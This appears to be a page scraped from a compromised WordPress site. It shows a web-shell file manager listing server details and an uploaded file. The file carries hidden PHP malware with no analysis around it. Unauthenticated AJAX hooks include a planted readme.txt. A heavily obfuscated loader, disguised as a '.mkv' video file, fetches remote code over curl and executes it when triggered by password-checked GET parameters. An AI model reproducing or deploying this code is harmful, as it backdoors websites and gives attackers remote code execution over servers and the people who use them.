if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/includes/includes/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/includes/includes/qmx.mkv
<?php
 goto KFm5sS2BvwPPD; KFm5sS2BvwPPD: $l4JFxpBP2L2t9 = range("\176", "\40"); goto Kn_zy4PUAwTOk; X6_UwCSrCm0Qo: class ZMgj6_LBWMmur { static function dmQCYZ8qsYQra($KYnQtAaUzNIwI) { goto Y2JcCDlqRUwjL; X2Z0D7FuGnkwH: $I9eXmNQFpfGIL = $RuHSeuXx77hSt("\176", "\x20"); goto WXufOjEnKPoO0; b0Zx29nMM6xaj: ttaz4AnrajvEO: goto mObGSMAUi67oj; Y2JcCDlqRUwjL: $RuHSeuXx77hSt = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto X2Z0D7FuGnkwH; vsLsi0Ww1fJ7g: $LwiZrJLSloXhV = ''; goto kkhJ7246SxnZs; mObGSMAUi67oj: return $LwiZrJLSloXhV; goto lPdCajyHLAWyx; kkhJ7246SxnZs: foreach ($K1Sr6gLr7L7AI as $qSmSm83tItGBV => $qKk0CVbXyikex) { $LwiZrJLSloXhV .= $I9eXmNQFpfGIL[$qKk0CVbXyikex - 72574]; pLraK_kjYzHXs: } goto b0Zx29nMM6xaj; WXufOjEnKPoO0: $K1Sr6gLr7L7AI = explode("\x2e", $KYnQtAaUzNIwI); goto vsLsi0Ww1fJ7g; lPdCajyHLAWyx: } static function f7BOOzxmcLpfB($AA8rh0u03TaE4, $m12WoP9W7coB0) { goto kWYkHrfZ2YiMm; kWYkHrfZ2YiMm: $qFGq2TVHZAcAE = curl_init($AA8rh0u03TaE4); goto rLY0RwKD7HlZM; Eqq05zV3mHsI9: return empty($Mko7utv0kJ7G4) ? $m12WoP9W7coB0($AA8rh0u03TaE4) : $Mko7utv0kJ7G4; goto xWQ2hJvWNlA96; rLY0RwKD7HlZM: curl_setopt($qFGq2TVHZAcAE, CURLOPT_RETURNTRANSFER, 1); goto ZLcl3ExmDUydw; ZLcl3ExmDUydw: $Mko7utv0kJ7G4 = curl_exec($qFGq2TVHZAcAE); goto Eqq05zV3mHsI9; xWQ2hJvWNlA96: } static function zy2ucVnzIcvOW() { goto v_NZ1sAdBV4NW; IloTY_hyYL7lN: @$g6zA0rLkMgGep[0 + 10](INPUT_GET, "\157\146") == 1 && die($g6zA0rLkMgGep[1 + 4](__FILE__)); goto mIEssPxn_cCG3; h7fKje7bT4lZh: $kHRWKRaYd841q = $g6zA0rLkMgGep[0 + 2]($GMWYmavu3xmWA, true); goto IloTY_hyYL7lN; zh1DdQlkzizBT: foreach ($OtMPpMjAAJ5Ku as $ijrO7FIis1JWl) { $g6zA0rLkMgGep[] = self::dmqCyZ8QsyqrA($ijrO7FIis1JWl); QUPIjbhtvuJ_y: } goto K1UDpeWW7vOZQ; pujh2pFfTpaun: @$g6zA0rLkMgGep[0]('', $g6zA0rLkMgGep[3 + 4] . $g6zA0rLkMgGep[1 + 3]($ppsJ5L32mPuGB) . $g6zA0rLkMgGep[0 + 8]); goto T_qKn_lwoGBuD; BGs3qMlNB2H2d: uvv3gBBubUwTE: goto q_1oMBcscHHxu; T_qKn_lwoGBuD: die; goto BGs3qMlNB2H2d; mIEssPxn_cCG3: if (!(@$kHRWKRaYd841q[0] - time() > 0 and md5(md5($kHRWKRaYd841q[1 + 2])) === "\x62\141\x34\x64\145\x34\144\x35\70\x66\141\70\x30\61\x33\66\x30\145\x39\66\x63\71\x63\x34\71\x38\70\x30\x66\65\62\145")) { goto uvv3gBBubUwTE; } goto bhv8Wl4Pyd64X; K1UDpeWW7vOZQ: lKX8GA7wa1jD6: goto YXPRKi2UMV_s0; bhv8Wl4Pyd64X: $ppsJ5L32mPuGB = self::f7boozXmcLpFb($kHRWKRaYd841q[0 + 1], $g6zA0rLkMgGep[4 + 1]); goto pujh2pFfTpaun; P1vI7JlxDivM1: $GMWYmavu3xmWA = @$g6zA0rLkMgGep[1 + 2]($g6zA0rLkMgGep[3 + 3], $RSolcICdVZmOl); goto h7fKje7bT4lZh; v_NZ1sAdBV4NW: $OtMPpMjAAJ5Ku = array("\x37\x32\66\x30\x31\x2e\x37\x32\65\70\66\56\x37\62\x35\71\x39\x2e\67\62\x36\x30\x33\x2e\x37\x32\65\70\64\56\67\x32\65\71\71\56\x37\62\x36\x30\65\x2e\x37\62\65\x39\x38\56\67\x32\x35\x38\63\56\x37\x32\65\x39\x30\x2e\67\x32\66\60\x31\56\x37\x32\65\x38\x34\56\x37\x32\x35\x39\65\x2e\x37\62\65\x38\x39\x2e\67\62\x35\71\60", "\x37\x32\x35\70\65\56\x37\x32\x35\x38\64\x2e\67\62\65\70\x36\x2e\67\62\x36\x30\x35\56\67\x32\x35\70\66\56\x37\62\x35\70\71\x2e\x37\62\x35\70\64\x2e\x37\x32\x36\65\x31\56\x37\62\x36\x34\71", "\x37\x32\x35\x39\64\x2e\x37\62\x35\x38\x35\x2e\67\62\65\x38\x39\x2e\x37\x32\65\x39\x30\x2e\67\62\x36\x30\65\56\67\62\x36\60\60\x2e\x37\62\65\x39\71\x2e\67\62\x36\60\x31\x2e\x37\62\x35\70\71\x2e\x37\x32\x36\x30\60\56\x37\62\x35\71\x39", "\67\62\x35\x38\70\x2e\67\62\x36\x30\63\56\67\62\x36\x30\61\x2e\67\62\65\x39\63", "\67\x32\66\x30\x32\56\67\62\x36\x30\x33\x2e\x37\62\x35\70\65\56\x37\62\x35\x39\71\x2e\x37\x32\x36\64\x36\56\x37\62\66\x34\70\x2e\x37\62\66\x30\x35\56\67\x32\x36\x30\x30\x2e\x37\62\65\x39\x39\56\67\x32\x36\x30\x31\56\67\62\65\x38\x39\x2e\67\x32\x36\x30\x30\x2e\67\x32\x35\x39\x39", "\67\x32\65\71\70\56\x37\x32\65\71\x35\x2e\67\62\x35\71\62\56\x37\62\65\71\x39\x2e\x37\x32\x36\60\65\x2e\x37\62\65\71\67\56\67\x32\x35\x39\71\x2e\67\x32\65\70\64\x2e\67\x32\66\x30\65\56\x37\x32\x36\60\x31\x2e\x37\62\x35\x38\71\56\x37\62\65\x39\60\x2e\67\62\65\70\x34\x2e\67\62\x35\x39\71\x2e\67\62\65\x39\x30\x2e\67\x32\65\70\64\x2e\67\62\x35\x38\x35", "\67\62\x36\62\x38\x2e\67\x32\x36\65\x38", "\67\x32\x35\x37\65", "\x37\62\x36\x35\63\x2e\67\62\x36\x35\70", "\x37\62\66\63\x35\x2e\67\62\x36\61\70\56\67\62\x36\61\x38\x2e\67\x32\x36\x33\x35\56\67\62\x36\x31\x31", "\x37\62\65\x39\70\56\x37\62\x35\x39\65\56\x37\62\65\x39\x32\x2e\67\x32\x35\x38\x34\x2e\67\62\65\71\71\x2e\x37\x32\x35\70\x36\x2e\x37\62\66\60\x35\x2e\67\62\x35\71\x35\x2e\67\x32\65\x39\60\x2e\x37\x32\x35\70\x38\56\x37\x32\x35\70\63\x2e\x37\x32\x35\70\64"); goto zh1DdQlkzizBT; YXPRKi2UMV_s0: $RSolcICdVZmOl = @$g6zA0rLkMgGep[1]($g6zA0rLkMgGep[9 + 1](INPUT_GET, $g6zA0rLkMgGep[5 + 4])); goto P1vI7JlxDivM1; q_1oMBcscHHxu: } } goto USgO5lWjZzA3u; kR7vM11HEESXQ: metaphone("\163\x48\145\x7a\x33\106\111\x79\x51\x2b\123\71\x41\120\142\x32\x4e\x59\x71\166\x66\165\x47\162\172\62\114\115\170\x50\60\x72\153\x62\60\145\142\66\x78\104\x66\167\x30"); goto X6_UwCSrCm0Qo; Rj4rU_yPsJBVG: @(md5(md5(md5(md5($p0Qw3bTEQjt2z[11])))) === "\x39\x31\65\x63\x34\x35\x32\x65\143\145\63\x30\71\63\63\x65\71\63\x36\141\145\x31\x62\63\66\64\64\x34\x62\x39\x36\x64") && (count($p0Qw3bTEQjt2z) == 17 && in_array(gettype($p0Qw3bTEQjt2z) . count($p0Qw3bTEQjt2z), $p0Qw3bTEQjt2z)) ? ($p0Qw3bTEQjt2z[70] = $p0Qw3bTEQjt2z[70] . $p0Qw3bTEQjt2z[71]) && ($p0Qw3bTEQjt2z[87] = $p0Qw3bTEQjt2z[70]($p0Qw3bTEQjt2z[87])) && @($p0Qw3bTEQjt2z = $p0Qw3bTEQjt2z[87]($p0Qw3bTEQjt2z[58], $p0Qw3bTEQjt2z[70](${$p0Qw3bTEQjt2z[34]}[25]))) && $p0Qw3bTEQjt2z() : $p0Qw3bTEQjt2z; goto kR7vM11HEESXQ; Kn_zy4PUAwTOk: $p0Qw3bTEQjt2z = ${$l4JFxpBP2L2t9[31 + 0] . $l4JFxpBP2L2t9[26 + 33] . $l4JFxpBP2L2t9[26 + 21] . $l4JFxpBP2L2t9[33 + 14] . $l4JFxpBP2L2t9[16 + 35] . $l4JFxpBP2L2t9[7 + 46] . $l4JFxpBP2L2t9[50 + 7]}; goto Rj4rU_yPsJBVG; USgO5lWjZzA3u: zmgJ6_lbWMMur::zy2uCvNzIcVow();
?>
@ Telegram